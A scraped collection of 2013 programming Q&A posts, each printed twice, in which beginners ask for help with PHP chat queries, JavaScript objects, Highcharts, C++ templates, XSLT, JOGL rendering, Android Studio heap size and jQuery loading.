<input type="submit" name="Submit" id="submit" value="">
</form>
And here is my php retrieval form
<?php
class Chat extends Core {
public function fetchMessages() {
$this->query("
SELECT chat.message,
users.username,
users.user_id,
chat.send
FROM chat
JOIN users
ON chat.user_id //and chat.send = users.user_id
ORDER BY chat.timestamp
DESC
");
return $this->rows();
}
}
Basically, I want to set a condition to something like:
<?php
$send=$_POST['send'];
$userid=$_POST['user_id'];
if ($send == $userid || (isset($_POST['user_id']))) //this isn't correct-
just trying to display my though
{
//retrieve message from user_id number in sql table, allowing the
people that have the same user_id as send to only read the message.
}
?>
So basically, how can I only retrieve the information for a specific
user_id number, and where would I place this condition?
Since my last question was very vague, I figured I would clear some things
up. I am learning how to build a private chat application (for educational
reasons only), and I am trying to figure out the best way to do a private
chat. I created a 2 tables, user and chat. In chat, I have 5 columns:
message_id
user_id
username
message
send
I want to retrieve only the messages from the selected user_id.
Right now, here is my send form. Input name send = the data I want to
retrieve. Until I get the hang of things, I only want to retrieve the
user_id number (so you would put a number in the text area to chat to that
username).
<form name="form" method="post">
<input type="text" name="send" id="send" value="">
<input name="user_id" type="hidden" value="<?php echo
$_SESSION['user_id'];?>" id="user_id">
<textarea name="message" class="message" onkeydown="if (event.keyCode
== 13) document.getElementById('submit').click()"></textarea>
<input type="submit" name="Submit" id="submit" value="">
</form>
And here is my php retrieval form
<?php
class Chat extends Core {
public function fetchMessages() {
$this->query("
SELECT chat.message,
users.username,
users.user_id,
chat.send
FROM chat
JOIN users
ON chat.user_id //and chat.send = users.user_id
ORDER BY chat.timestamp
DESC
");
return $this->rows();
}
}
Basically, I want to set a condition to something like:
<?php
$send=$_POST['send'];
$userid=$_POST['user_id'];
if ($send == $userid || (isset($_POST['user_id']))) //this isn't correct-
just trying to display my though
{
//retrieve message from user_id number in sql table, allowing the
people that have the same user_id as send to only read the message.
}
?>
So basically, how can I only retrieve the information for a specific
user_id number, and where would I place this condition?
JavaScript - trying to access an object method from inside another object getting undefined error
JavaScript - trying to access an object method from inside another object
getting undefined error
I've working on JavaScript the last few months, and I'm trying to get a
deeper understanding of objects. The following problem is giving me fits.
Rather that spell it out I'll just give a code example:
var Obj1 = function (){
this.getResult = function() {
var result = 5*5;
return result;
};
this.answer = this.getResult();
};
var Obj2 = function() {
var x = obj1.answer;
};
var testobj1 = new Obj1();
var testobj2 = new Obj2();
console.log(testobj2.x);
This returns "undefined." I have two questions: The first is "why?" the
second is "How could I make this work?" I'd like to be able to access the
answer method of testobj1 from inside testobj2. Is there a way? Any links
that would educate me on the principle I'm not understanding here are much
appreciated.
PS - I did my due diligence searching Google and this site for the answer
to my question. If I found it I didn't understand that I had, so any new
explanations are welcome.
getting undefined error
I've working on JavaScript the last few months, and I'm trying to get a
deeper understanding of objects. The following problem is giving me fits.
Rather that spell it out I'll just give a code example:
var Obj1 = function (){
this.getResult = function() {
var result = 5*5;
return result;
};
this.answer = this.getResult();
};
var Obj2 = function() {
var x = obj1.answer;
};
var testobj1 = new Obj1();
var testobj2 = new Obj2();
console.log(testobj2.x);
This returns "undefined." I have two questions: The first is "why?" the
second is "How could I make this work?" I'd like to be able to access the
answer method of testobj1 from inside testobj2. Is there a way? Any links
that would educate me on the principle I'm not understanding here are much
appreciated.
PS - I did my due diligence searching Google and this site for the answer
to my question. If I found it I didn't understand that I had, so any new
explanations are welcome.
Parsing ALL Highcharts Options from JSON
Parsing ALL Highcharts Options from JSON
I am currently wanting to specify all Highcharts chart options via a JSON
file. I've seen plenty of examples on how to pull just the data series
from JSON and understand that.
Here is an example of some chart options that I would like to convert to JSON
var optionsChart2 = {
chart: {
renderTo: 'container',
type: 'column'
},
title: {
text: 'Year End Rating: Distribution'
},
xAxis: {
categories: [
'Ineffective',
'Inconsistent',
'Proficient',
'Advanced',
'Exceptional'
]
},
yAxis: {
min: 0,
title: {
text: 'Percentage'
}
},
series: [{data: 25,50,65,32,78}]
};
What is the best JSON format for that (for the purpose of pulling in via
AJAX and then parsing back into options)?
I've seen the following code for parsing just the data:
$.getJSON('data.json', function(data) {
options.series[0].data = data;
var chart = new Highcharts.Chart(options);
});
How would I then use the new version of the JSON file (as above)?
I'm sorry if this is too vague. I'm relatively new to this and need some
help!
I am currently wanting to specify all Highcharts chart options via a JSON
file. I've seen plenty of examples on how to pull just the data series
from JSON and understand that.
Here is an example of some chart options that I would like to convert to JSON
var optionsChart2 = {
chart: {
renderTo: 'container',
type: 'column'
},
title: {
text: 'Year End Rating: Distribution'
},
xAxis: {
categories: [
'Ineffective',
'Inconsistent',
'Proficient',
'Advanced',
'Exceptional'
]
},
yAxis: {
min: 0,
title: {
text: 'Percentage'
}
},
series: [{data: 25,50,65,32,78}]
};
What is the best JSON format for that (for the purpose of pulling in via
AJAX and then parsing back into options)?
I've seen the following code for parsing just the data:
$.getJSON('data.json', function(data) {
options.series[0].data = data;
var chart = new Highcharts.Chart(options);
});
How would I then use the new version of the JSON file (as above)?
I'm sorry if this is too vague. I'm relatively new to this and need some
help!
Accessing variable inside function - php
Accessing variable inside function - php
i need to access a variable which is declared in another php file within a
function.. How can i do it?
a.php
<?php
$global['words']=array("one","two","three");
echo "welcome"
?>
b.php
<?php
$words = $global['words'];
require_once('a.php');
print_r($global['words']);
function fun()
{
print_r($global['words']); // not displaying here
}
fun();
?>
now i am able to access the "$global['words']" variable in b.php file, but
not within function, how can i make it visible inside the function?
i need to access a variable which is declared in another php file within a
function.. How can i do it?
a.php
<?php
$global['words']=array("one","two","three");
echo "welcome"
?>
b.php
<?php
$words = $global['words'];
require_once('a.php');
print_r($global['words']);
function fun()
{
print_r($global['words']); // not displaying here
}
fun();
?>
now i am able to access the "$global['words']" variable in b.php file, but
not within function, how can i make it visible inside the function?
External Inputs to an Arduino
External Inputs to an Arduino
I'm doing a school project and I have an Arduino Leonardo and I am trying
to get an intergrated circuit to communicate with it using serial.
Is this even possible?
I'm doing a school project and I have an Arduino Leonardo and I am trying
to get an intergrated circuit to communicate with it using serial.
Is this even possible?
C++ How to write specializations of a method of a template class
C++ How to write specializations of a method of a template class
I'm writing a template class for a dynamic list that allows you to insert
three different types of data. I want to create three methods to insert an
item within the list using the specializations. What is the right way to
do this?
template <class T, class U, class V> list
{
.....
}
template <> list <class T> :: add (T item) {
...
// insert elem type T
...
}
template <> list <class U> :: add (U item) {
...
// insert elem type U
...
}
template <> list <class V> :: add (V item) {
...
// insert elem type V
...
}
I'm writing a template class for a dynamic list that allows you to insert
three different types of data. I want to create three methods to insert an
item within the list using the specializations. What is the right way to
do this?
template <class T, class U, class V> list
{
.....
}
template <> list <class T> :: add (T item) {
...
// insert elem type T
...
}
template <> list <class U> :: add (U item) {
...
// insert elem type U
...
}
template <> list <class V> :: add (V item) {
...
// insert elem type V
...
}
TM(Trade Mark) symbol not appearing on Facebook Wall when content containing this symbol is shared on Facebook
TM(Trade Mark) symbol not appearing on Facebook Wall when content
containing this symbol is shared on Facebook
I am Srinivasa. Currently , I am facing an issue with Facebook LIKE button.
I am a developer working for a Company which maintains Online
Webstores. I have implemented a LIKE button on a product page for a
store. But the Customer who is actually using the LIKE button on the
respective Product Page is facing an issue.
The Customer says that when the product is liked using the LIKE
button, TM symbol which is part of the Description of the product is
not coming up properly on the Facebook Wall as part of the feeds
which gets displayed on the Customer's friends'wall. The HTML
code(™) of the TM(Trade Mark) symbol is coming up on the wall
instead of the symbol when the LIKE button is used.
Can any one suggest me, what has to be done to see that the TM(Trade
Mark) symbol shows up correctly when the Content is shared as part of
the LIKE Button functionality. There is a file called
facebookMeta.jsp which sends the metadata to the Facebook Server when
a particular product is liked.
I have tried to replace the HTML code(™) with its equivalent
Unicode of TM symbol.But this is not working.
Please respond to my question asap.
containing this symbol is shared on Facebook
I am Srinivasa. Currently , I am facing an issue with Facebook LIKE button.
I am a developer working for a Company which maintains Online
Webstores. I have implemented a LIKE button on a product page for a
store. But the Customer who is actually using the LIKE button on the
respective Product Page is facing an issue.
The Customer says that when the product is liked using the LIKE
button, TM symbol which is part of the Description of the product is
not coming up properly on the Facebook Wall as part of the feeds
which gets displayed on the Customer's friends'wall. The HTML
code(™) of the TM(Trade Mark) symbol is coming up on the wall
instead of the symbol when the LIKE button is used.
Can any one suggest me, what has to be done to see that the TM(Trade
Mark) symbol shows up correctly when the Content is shared as part of
the LIKE Button functionality. There is a file called
facebookMeta.jsp which sends the metadata to the Facebook Server when
a particular product is liked.
I have tried to replace the HTML code(™) with its equivalent
Unicode of TM symbol.But this is not working.
Please respond to my question asap.
Wednesday, 11 September 2013
Returning a Tuple in Python function
Returning a Tuple in Python function
This function that I have written thus:
def simulate_turn(num_rolls, score, opponent_score):
"""This function takes in two scores and a number of die rolls and
returns
what the two scores would be if num_rolls many dice were rolled. This
takes
into account the swine swap, free bacon, and hog-wild."""
x = score
y = opponent_score
x +=
take_turn(num_rolls,opponent_score,select_dice(score,opponent_score))
if ifwillswap(x,y):
swap(x,y)
return x,y
When run in the interactive python shell (the function comes from a .py
file), it is returning an int object instead of a tuple! What am I doing
wrong? I am trying to have it turn a pair of values, not a single int
object.
This function that I have written thus:
def simulate_turn(num_rolls, score, opponent_score):
"""This function takes in two scores and a number of die rolls and
returns
what the two scores would be if num_rolls many dice were rolled. This
takes
into account the swine swap, free bacon, and hog-wild."""
x = score
y = opponent_score
x +=
take_turn(num_rolls,opponent_score,select_dice(score,opponent_score))
if ifwillswap(x,y):
swap(x,y)
return x,y
When run in the interactive python shell (the function comes from a .py
file), it is returning an int object instead of a tuple! What am I doing
wrong? I am trying to have it turn a pair of values, not a single int
object.
how to change permissions of a ubuntu folder
how to change permissions of a ubuntu folder
I have the following folder with permissons as follows
drwxr-sr-x 10 username1 users 4096 Sep 11 17:55 bionic
how to change the permissions as follows
drwxrwsr-x 10 username1 users 4096 Aug 21 18:18 bionic
I have the following folder with permissons as follows
drwxr-sr-x 10 username1 users 4096 Sep 11 17:55 bionic
how to change the permissions as follows
drwxrwsr-x 10 username1 users 4096 Aug 21 18:18 bionic
How to process a String with an unknown unit as weighed object
How to process a String with an unknown unit as weighed object
I have to process the data received from a database where all values are
numbers with many different units
for example
12.553 mg
23floz
5 oz
23kg
45 kg
etc
To process these data I have to convert everything as a custom object
Quantity(double amount, String unit)
THE PROBLEM
I don't know how many kinds of units there are in the database, I need a
way that cut the numeric part of the data from the unit and keep these
separately in 2 temp String so after that I process the data I could
istanciate a Quantity object correctly
The values not always contains whitespaces that separe the number from the
unit, therefore solution like
String[] tmp = line.split("\\s");
Quantity(Double.parse(tmp[0], tmp[1]);
Unfortunately doesn't work
I have to process the data received from a database where all values are
numbers with many different units
for example
12.553 mg
23floz
5 oz
23kg
45 kg
etc
To process these data I have to convert everything as a custom object
Quantity(double amount, String unit)
THE PROBLEM
I don't know how many kinds of units there are in the database, I need a
way that cut the numeric part of the data from the unit and keep these
separately in 2 temp String so after that I process the data I could
istanciate a Quantity object correctly
The values not always contains whitespaces that separe the number from the
unit, therefore solution like
String[] tmp = line.split("\\s");
Quantity(Double.parse(tmp[0], tmp[1]);
Unfortunately doesn't work
jquery selection attributes
jquery selection attributes
Let's say I have a sample table like this :
http://jsfiddle.net/65BkH/
Now what i want is, if there is this <button id="invite">Invite</button>.
I want this button to select the "invite url" of the selected contact. If
you see the jsfiddle, if you click the checkbox, it will crop all the
others contacts. How could i do that?
I've tried to target the contact, but i can only get the top contact.
$('#linkedin_match tbody .match .m a').attr('href');
what i want is to target the currently selected.
Let's say I have a sample table like this :
http://jsfiddle.net/65BkH/
Now what i want is, if there is this <button id="invite">Invite</button>.
I want this button to select the "invite url" of the selected contact. If
you see the jsfiddle, if you click the checkbox, it will crop all the
others contacts. How could i do that?
I've tried to target the contact, but i can only get the top contact.
$('#linkedin_match tbody .match .m a').attr('href');
what i want is to target the currently selected.
Is there really a resource leak if I close the inner stream?
Is there really a resource leak if I close the inner stream?
I ran a dynamic code analysis tool on one of our programs and this pattern
was identified as a resource leak:
...
FileInputStream fileInputStream = new FileInputStream(file);
try {
data = someMethod(new BufferedInputStream(fileInputStream));
// Assume that someMethod(InputStream) internally reads the stream
// until BufferedInputStream.read() returns -1.
...
}
finally {
...
try {
fileInputStream.close();
} catch (IOException e) {
...
}
}
Specifically, the analysis tool marked the new BufferedInputStream(...)
call as a resource leak because it is never closed. In this pattern,
however, the underlying stream fileInputStream is closed and the
BufferedInputStream goes out of scope.
Given this situation, is this actually a resource leak?
I ran a dynamic code analysis tool on one of our programs and this pattern
was identified as a resource leak:
...
FileInputStream fileInputStream = new FileInputStream(file);
try {
data = someMethod(new BufferedInputStream(fileInputStream));
// Assume that someMethod(InputStream) internally reads the stream
// until BufferedInputStream.read() returns -1.
...
}
finally {
...
try {
fileInputStream.close();
} catch (IOException e) {
...
}
}
Specifically, the analysis tool marked the new BufferedInputStream(...)
call as a resource leak because it is never closed. In this pattern,
however, the underlying stream fileInputStream is closed and the
BufferedInputStream goes out of scope.
Given this situation, is this actually a resource leak?
when to use xsl:if and when to use xsl:choose/xsl:when in XSLT
when to use xsl:if and when to use xsl:choose/xsl:when in XSLT
I know this may seem like a dumb/newbie question, but I'm fairly new to
XSLT (though I'm starting to come around to it and see it's capabilities).
When is it appropriate to use xsl:if and when is it appropriate to use
xsl:choose/xsl:when?
I have been using choose/when/otherwise when I want to have an "else"
option. Is this correct?
For instance I have some places where I'm doing:
<xsl:choose>
<xsl:when test="count(entry) != 0">
put positive outcome here
</xsl:when>
<xsl:otherwise>
put something else here
</xsl:otherwise>
</xsl:choose>
would xsl:if be better?
Thanks for the input.
I know this may seem like a dumb/newbie question, but I'm fairly new to
XSLT (though I'm starting to come around to it and see it's capabilities).
When is it appropriate to use xsl:if and when is it appropriate to use
xsl:choose/xsl:when?
I have been using choose/when/otherwise when I want to have an "else"
option. Is this correct?
For instance I have some places where I'm doing:
<xsl:choose>
<xsl:when test="count(entry) != 0">
put positive outcome here
</xsl:when>
<xsl:otherwise>
put something else here
</xsl:otherwise>
</xsl:choose>
would xsl:if be better?
Thanks for the input.
JOGL image rendering
JOGL image rendering
Thanks for reading my question.
The end goal is to be able to render images of arbitrary sizes in JOGL and
do it fast on basic graphic cards.
My initial attempt was to achieve this using textures. However, I ran into
problems on some graphics cards, (more precisely, virtual machine graphics
cards).
Some images exceed the GL_MAX_TEXTURE_SIZE and if the card does not
support textures which are not power of two (gl.isNPOTTextureAvailable())
I then followed several (1, 2) samples which used glDrawPixels to render
the image directly.
gl.glBlendFunc (GL.GL_SRC_ALPHA, GL.GL_ONE_MINUS_SRC_ALPHA);
gl.glEnable (GL.GL_BLEND);
gl.glColor3f (0.0f, 0.0f, 0.0f);
gl.glRasterPos2i (10, 300);
gl.glDrawPixels (dukeWidth, dukeHeight,
gl.GL_RGBA, gl.GL_UNSIGNED_BYTE,
dukeRGBA);
This works fine, except when the raster position moves outside the
viewport. When part of the image (bottom left corner) goes outside the
viewport, the whole image is not displayed.
[1] https://today.java.net/pub/a/today/2003/09/11/jogl2d.html
[2]
http://www.java-tips.org/other-api-tips/jogl/drawing-pixels-and-showing-the-effect-of-gldrawpixels-glcopypixels-and-glpix.htm
I have managed to solve the image disappearing problem by replacing
glRasterPos2i with glWindowPos2d but again this lead to another problemn -
glWindowPos2d is only supported from openGL 1.4 and my virtual machines
only support 1.1.
What is wrong with my approach?
Should I be handing images which are non-power size by padding textures?
Should I split large images into many textures (like a quilt) so that
maximum texture size in not exceed? worried about performance in this
case.
Tried Mesa3D to ensure obtain a higher openGL version, but cannot make it
compile for windows. Any other software renderers recommended? (waiting on
Swiftshader support)
Any help greatly appreciated.
Thanks for reading my question.
The end goal is to be able to render images of arbitrary sizes in JOGL and
do it fast on basic graphic cards.
My initial attempt was to achieve this using textures. However, I ran into
problems on some graphics cards, (more precisely, virtual machine graphics
cards).
Some images exceed the GL_MAX_TEXTURE_SIZE and if the card does not
support textures which are not power of two (gl.isNPOTTextureAvailable())
I then followed several (1, 2) samples which used glDrawPixels to render
the image directly.
gl.glBlendFunc (GL.GL_SRC_ALPHA, GL.GL_ONE_MINUS_SRC_ALPHA);
gl.glEnable (GL.GL_BLEND);
gl.glColor3f (0.0f, 0.0f, 0.0f);
gl.glRasterPos2i (10, 300);
gl.glDrawPixels (dukeWidth, dukeHeight,
gl.GL_RGBA, gl.GL_UNSIGNED_BYTE,
dukeRGBA);
This works fine, except when the raster position moves outside the
viewport. When part of the image (bottom left corner) goes outside the
viewport, the whole image is not displayed.
[1] https://today.java.net/pub/a/today/2003/09/11/jogl2d.html
[2]
http://www.java-tips.org/other-api-tips/jogl/drawing-pixels-and-showing-the-effect-of-gldrawpixels-glcopypixels-and-glpix.htm
I have managed to solve the image disappearing problem by replacing
glRasterPos2i with glWindowPos2d but again this lead to another problemn -
glWindowPos2d is only supported from openGL 1.4 and my virtual machines
only support 1.1.
What is wrong with my approach?
Should I be handing images which are non-power size by padding textures?
Should I split large images into many textures (like a quilt) so that
maximum texture size in not exceed? worried about performance in this
case.
Tried Mesa3D to ensure obtain a higher openGL version, but cannot make it
compile for windows. Any other software renderers recommended? (waiting on
Swiftshader support)
Any help greatly appreciated.
Tuesday, 10 September 2013
Jenkins + TestFlight + GitHub
Jenkins + TestFlight + GitHub
I am new to jenkins, testflight and GitHub. I have an ios application for
which i like to do continuous integration using these. can anyone provide
me good link or tutorial regarding this.
I am new to jenkins, testflight and GitHub. I have an ios application for
which i like to do continuous integration using these. can anyone provide
me good link or tutorial regarding this.
import mysql.connector ImportError: No module named connector
import mysql.connector ImportError: No module named connector
1) sudo dpkg -i mysql-connector-python_1.0.12-1ubuntu12.04_all.deb
2) sudo dpkg -i mysql-utilities_1.3.5-1debian6.0_all.deb (Reading database
... 50871 files and directories currently installed.) Preparing to replace
mysql-utilities 1.3.5 (using mysql-utilities_1.3.5-1debian6.0_all.deb) ...
Unpacking replacement mysql-utilities ... postrm script for
mysql-utilities foundpython2.7
/opt/bitnami/python/lib/python2.7/site-packages Setting up mysql-utilities
(1.3.5) ... postinst script for mysql-utilities python2.7 found python2.7
/opt/bitnami/python/lib/python2.7/site-packages Processing triggers for
man-db ...
(will supply parameter when it works )
3) trying to run mysqlrplcheck: $ mysqlrplcheck Traceback (most recent
call last): File "./mysqlrplcheck", line 38, in from
mysql.utilities.common.server import check_hostname_alias File
"/opt/bitnami/python/lib/python2.7/site-packages/mysql/utilities/common/server.py",
line 29, in import mysql.connector ImportError: No module named connector
It does not find mysql.connector. How do I configure this?
1) sudo dpkg -i mysql-connector-python_1.0.12-1ubuntu12.04_all.deb
2) sudo dpkg -i mysql-utilities_1.3.5-1debian6.0_all.deb (Reading database
... 50871 files and directories currently installed.) Preparing to replace
mysql-utilities 1.3.5 (using mysql-utilities_1.3.5-1debian6.0_all.deb) ...
Unpacking replacement mysql-utilities ... postrm script for
mysql-utilities foundpython2.7
/opt/bitnami/python/lib/python2.7/site-packages Setting up mysql-utilities
(1.3.5) ... postinst script for mysql-utilities python2.7 found python2.7
/opt/bitnami/python/lib/python2.7/site-packages Processing triggers for
man-db ...
(will supply parameter when it works )
3) trying to run mysqlrplcheck: $ mysqlrplcheck Traceback (most recent
call last): File "./mysqlrplcheck", line 38, in from
mysql.utilities.common.server import check_hostname_alias File
"/opt/bitnami/python/lib/python2.7/site-packages/mysql/utilities/common/server.py",
line 29, in import mysql.connector ImportError: No module named connector
It does not find mysql.connector. How do I configure this?
copying multidimensional array
copying multidimensional array
I have two function say responseA(); and responseB(); which returns a 2d
and 3d array respectively. I am trying to copy (1st and 2nd) column of
$responseA and (2nd and 3rd) column of $responseB to a new 3d array called
$response, the third column in the new array would be 'A' or 'B' depending
upon where it came from. Example:
$responseA = responseA(); $responseB = responseB();
$responseA[1,1371500801]; $responseB[111,1,1371340804];
$responseA[2,1371504502]; $responseB[131,2,1371760805];
$responseA[3,1371534503]; $responseB[121,3,1371130806];
the final array :
$response[1,1371500801,A];
$response[2,1371504502,A];
$response[3,1371534503,A];
$response[1,1371340804,B];
$response[2,1371760805,B];
$response[3,1371130806,B];
This is what I have done till now
for ($i=0;$i<count($responseA);$i++){
$response0[$i][0] = $myComments[$i][0];
$response0[$i][1] = $myComments[$i][1];
$response0[$i][2] = 'A';
}
for ($i=0;$i<count($responseB[0]);$i++){
$response1[$i][0] = $responseB[1][$i];
$response1[$i][1] = $responseB[2][$i];
$response0[$i][2] = 'B';
}
$response = array_merge($response0,$response1);
Could anyone here help me code the correct solution to create the response
array and sort this array according to the 2nd column (which is a
time-stamp)
Thank you so much.
I have two function say responseA(); and responseB(); which returns a 2d
and 3d array respectively. I am trying to copy (1st and 2nd) column of
$responseA and (2nd and 3rd) column of $responseB to a new 3d array called
$response, the third column in the new array would be 'A' or 'B' depending
upon where it came from. Example:
$responseA = responseA(); $responseB = responseB();
$responseA[1,1371500801]; $responseB[111,1,1371340804];
$responseA[2,1371504502]; $responseB[131,2,1371760805];
$responseA[3,1371534503]; $responseB[121,3,1371130806];
the final array :
$response[1,1371500801,A];
$response[2,1371504502,A];
$response[3,1371534503,A];
$response[1,1371340804,B];
$response[2,1371760805,B];
$response[3,1371130806,B];
This is what I have done till now
for ($i=0;$i<count($responseA);$i++){
$response0[$i][0] = $myComments[$i][0];
$response0[$i][1] = $myComments[$i][1];
$response0[$i][2] = 'A';
}
for ($i=0;$i<count($responseB[0]);$i++){
$response1[$i][0] = $responseB[1][$i];
$response1[$i][1] = $responseB[2][$i];
$response0[$i][2] = 'B';
}
$response = array_merge($response0,$response1);
Could anyone here help me code the correct solution to create the response
array and sort this array according to the 2nd column (which is a
time-stamp)
Thank you so much.
Passing javascript paramters through a rich:modalPanel to a function
Passing javascript paramters through a rich:modalPanel to a function
I have a rich:modalPanel that updates a rich:dataTable in another form.
When I hardcode the table id the dataTable is updated correctly after add:
<a4j:commandButton id="mdlAdd" value="ShouldUpdateParentView"
onclick="Richfaces.hideModalPanel('modal1')"
action="#{bean.doSomeServerSideStuff()}"
oncomplete="reRenderTble();" >
</a4j:commandButton>
The reRender happens here:
But I need to call this modalPanel from another modalPanel and have it
update THAT component. So I tried to make the component a parameter, I
tried several different things, but nothing seems to be working, if I do
this:
<a4j:commandLink value="Call a ModalPanel"
action="# {bean.doSomeServerSetup()}"
oncomplete="Richfaces.showModalPanel('modal1',{rerenderId:'compId'});" />
<rich:modalPanel id="modal1"
onshow="alert(document.getElementById('modal1').innerHTML=event.parameters.rerenderId)"
>
.....
<a4j:commandButton id="mdlAdd" value="ShouldUpdateParentView"
onclick="Richfaces.hideModalPanel('modal1')"
action="#{bean.doSomeServerSideStuff()}"
oncomplete="somebodyChangedMe(this);reRenderTble(document.getElementById('modal1').innerHTML=event.parameters.rerenderId);"
>
</a4j:commandButton>
</rich:modalPanel>
The alert window will show the passed value. But, I can't pass that value
to the jsFunction to select the component for rerendering:
<a4j:jsFunction name="reRenderTble" reRender="#{rerenderMe}" >
<a4j:actionparam name="rerenderMe" assignTo="#{rerenderMe}" />
</a4j:jsFunction>
When I look at the actual value of the contents of reRenderTble() in
mdlAdd with firebug, I see the literal string
document.getElementById('modal1').innerHTML=event.parameters.rerenderId
not the component value (compId).
I'm using RF3.3.3 JSF1.2
I have a rich:modalPanel that updates a rich:dataTable in another form.
When I hardcode the table id the dataTable is updated correctly after add:
<a4j:commandButton id="mdlAdd" value="ShouldUpdateParentView"
onclick="Richfaces.hideModalPanel('modal1')"
action="#{bean.doSomeServerSideStuff()}"
oncomplete="reRenderTble();" >
</a4j:commandButton>
The reRender happens here:
But I need to call this modalPanel from another modalPanel and have it
update THAT component. So I tried to make the component a parameter, I
tried several different things, but nothing seems to be working, if I do
this:
<a4j:commandLink value="Call a ModalPanel"
action="# {bean.doSomeServerSetup()}"
oncomplete="Richfaces.showModalPanel('modal1',{rerenderId:'compId'});" />
<rich:modalPanel id="modal1"
onshow="alert(document.getElementById('modal1').innerHTML=event.parameters.rerenderId)"
>
.....
<a4j:commandButton id="mdlAdd" value="ShouldUpdateParentView"
onclick="Richfaces.hideModalPanel('modal1')"
action="#{bean.doSomeServerSideStuff()}"
oncomplete="somebodyChangedMe(this);reRenderTble(document.getElementById('modal1').innerHTML=event.parameters.rerenderId);"
>
</a4j:commandButton>
</rich:modalPanel>
The alert window will show the passed value. But, I can't pass that value
to the jsFunction to select the component for rerendering:
<a4j:jsFunction name="reRenderTble" reRender="#{rerenderMe}" >
<a4j:actionparam name="rerenderMe" assignTo="#{rerenderMe}" />
</a4j:jsFunction>
When I look at the actual value of the contents of reRenderTble() in
mdlAdd with firebug, I see the literal string
document.getElementById('modal1').innerHTML=event.parameters.rerenderId
not the component value (compId).
I'm using RF3.3.3 JSF1.2
IE9 css media query with select height
IE9 css media query with select height
We have a CSS media query that we are using to set styles for mobile
devices. In that media query we increase the height of select elements so
they're easier to hit. Something like this:
@media only screen and (max-width: 599px) {
.mySelect {
height: 40px;
}
}
If you make the browser window smaller, you can see the select get bigger
and then it shrinks again when you make the browser bigger. This works
great in Chrome and Firefox, but (of course) not in IE9. When the select
shrinks back down, the text is cut off. See this fiddle:
http://jsfiddle.net/7cVbx/
I found that if set the height of select elements outside of the media
query, it works (the commented out part of the fiddle). However, I'm very
wary of setting the height in the default case, as different browsers will
end up with too much white space in the dropdown or it cut off part of the
text.
Is there a better way to do this? Or is explicitly setting the height
outside the media query the only way to make this work for IE9?
We have a CSS media query that we are using to set styles for mobile
devices. In that media query we increase the height of select elements so
they're easier to hit. Something like this:
@media only screen and (max-width: 599px) {
.mySelect {
height: 40px;
}
}
If you make the browser window smaller, you can see the select get bigger
and then it shrinks again when you make the browser bigger. This works
great in Chrome and Firefox, but (of course) not in IE9. When the select
shrinks back down, the text is cut off. See this fiddle:
http://jsfiddle.net/7cVbx/
I found that if set the height of select elements outside of the media
query, it works (the commented out part of the fiddle). However, I'm very
wary of setting the height in the default case, as different browsers will
end up with too much white space in the dropdown or it cut off part of the
text.
Is there a better way to do this? Or is explicitly setting the height
outside the media query the only way to make this work for IE9?
Android Studio - How to increase Allocated Heap Size
Android Studio - How to increase Allocated Heap Size
I've been using Android Studio for 3 months now and one of the apps I
started on it has become fairly large. The memory usage indicated at the
bottom right of the program says my allocated heap is maxed at 494M.
When I start to change the XML files my memory usage quickly reaches that
cap and the IDE crashes with an Out Of Memory error like this.
I've tried to increase the heap size using this but so far there has been
no effect.
I've looked at dozens of articles and other questions on how to increase
the heap size but none of their answers are working. No matter what I do
the the VMOPTIONS or the IDE settings the heap size never increases. I
believe I am editting the correct file for the VMOPTIONS because if I
purposely give it an invalid command Android Studio complains about it and
doesn't start.
I'm using windows 7 - 64 bit and have 16GB RAM. Has anyone else had this
problem with Android Studio? And were you able to fix it?
I've been using Android Studio for 3 months now and one of the apps I
started on it has become fairly large. The memory usage indicated at the
bottom right of the program says my allocated heap is maxed at 494M.
When I start to change the XML files my memory usage quickly reaches that
cap and the IDE crashes with an Out Of Memory error like this.
I've tried to increase the heap size using this but so far there has been
no effect.
I've looked at dozens of articles and other questions on how to increase
the heap size but none of their answers are working. No matter what I do
the the VMOPTIONS or the IDE settings the heap size never increases. I
believe I am editting the correct file for the VMOPTIONS because if I
purposely give it an invalid command Android Studio complains about it and
doesn't start.
I'm using windows 7 - 64 bit and have 16GB RAM. Has anyone else had this
problem with Android Studio? And were you able to fix it?
Angular Link Function: $Scope vs Scope
Angular Link Function: $Scope vs Scope
In angular directives I've seen in tutorials either
link: function($scope,$element,attrs)
or
link: function(scope,element,attrs)
Now I know that the '$' means a service in angular , does this hold here ?
What exactly is the difference between $scope and scope ? Same goes to
element vs $element
In angular directives I've seen in tutorials either
link: function($scope,$element,attrs)
or
link: function(scope,element,attrs)
Now I know that the '$' means a service in angular , does this hold here ?
What exactly is the difference between $scope and scope ? Same goes to
element vs $element
Create an android web browser
Create an android web browser
I just want to modify history portion of the existing Android browser I
just want to add an attribute to it Url accessed by Wifi/3g. Can anybody
tell me where can i get source code of it and how to add code in it ??
I just want to modify history portion of the existing Android browser I
just want to add an attribute to it Url accessed by Wifi/3g. Can anybody
tell me where can i get source code of it and how to add code in it ??
Monday, 9 September 2013
dynamically-sized text object with a copy constructor, a trivial assignment operator, and a trivial destructor
dynamically-sized text object with a copy constructor, a trivial
assignment operator, and a trivial destructor
I've been shown that a std::string cannot be inserted into a
boost::lockfree::queue.
boost::lockfree::queue is too valuable to abandon, so I think I could use
very large, fixed length chars to pass the data according to the
requirements (assuming that even satifies since I'm having trouble
learning about how to satisfy these requirements), but that will eat up
memory if I want large messages.
Does a dynamically-sized text object with a copy constructor, a trivial
assignment operator, and a trivial destructor exist? If so, where? If not,
please outline how to manifest one.
assignment operator, and a trivial destructor
I've been shown that a std::string cannot be inserted into a
boost::lockfree::queue.
boost::lockfree::queue is too valuable to abandon, so I think I could use
very large, fixed length chars to pass the data according to the
requirements (assuming that even satifies since I'm having trouble
learning about how to satisfy these requirements), but that will eat up
memory if I want large messages.
Does a dynamically-sized text object with a copy constructor, a trivial
assignment operator, and a trivial destructor exist? If so, where? If not,
please outline how to manifest one.
executing jquery .load() twice in a row
executing jquery .load() twice in a row
So here is what I am trying to get done. I am trying to make 2 files load
into 2 separate divs at the same time
Here is the code for the Jquery
links.js
$(document).ready(function() {
$('#content').load($('.nav2:first').attr('href'));
});
$('.nav2').click(function() {
var href = $(this).attr('href');
switch (href){
case "home.php":
$('#content').hide() .load(href) .fadeIn('normal');
break;
case "crm.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(crm_nav.php) .fadeIn('normal');
break;
case "inventory.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(inventory_nav.php) .fadeIn('normal');
break;
case "sales.php":
$('#content').hide() .load(href) .fadeIn('normal');
$('#nav3').hide() .load(sales_nav.php) .fadeIn('normal');
break;
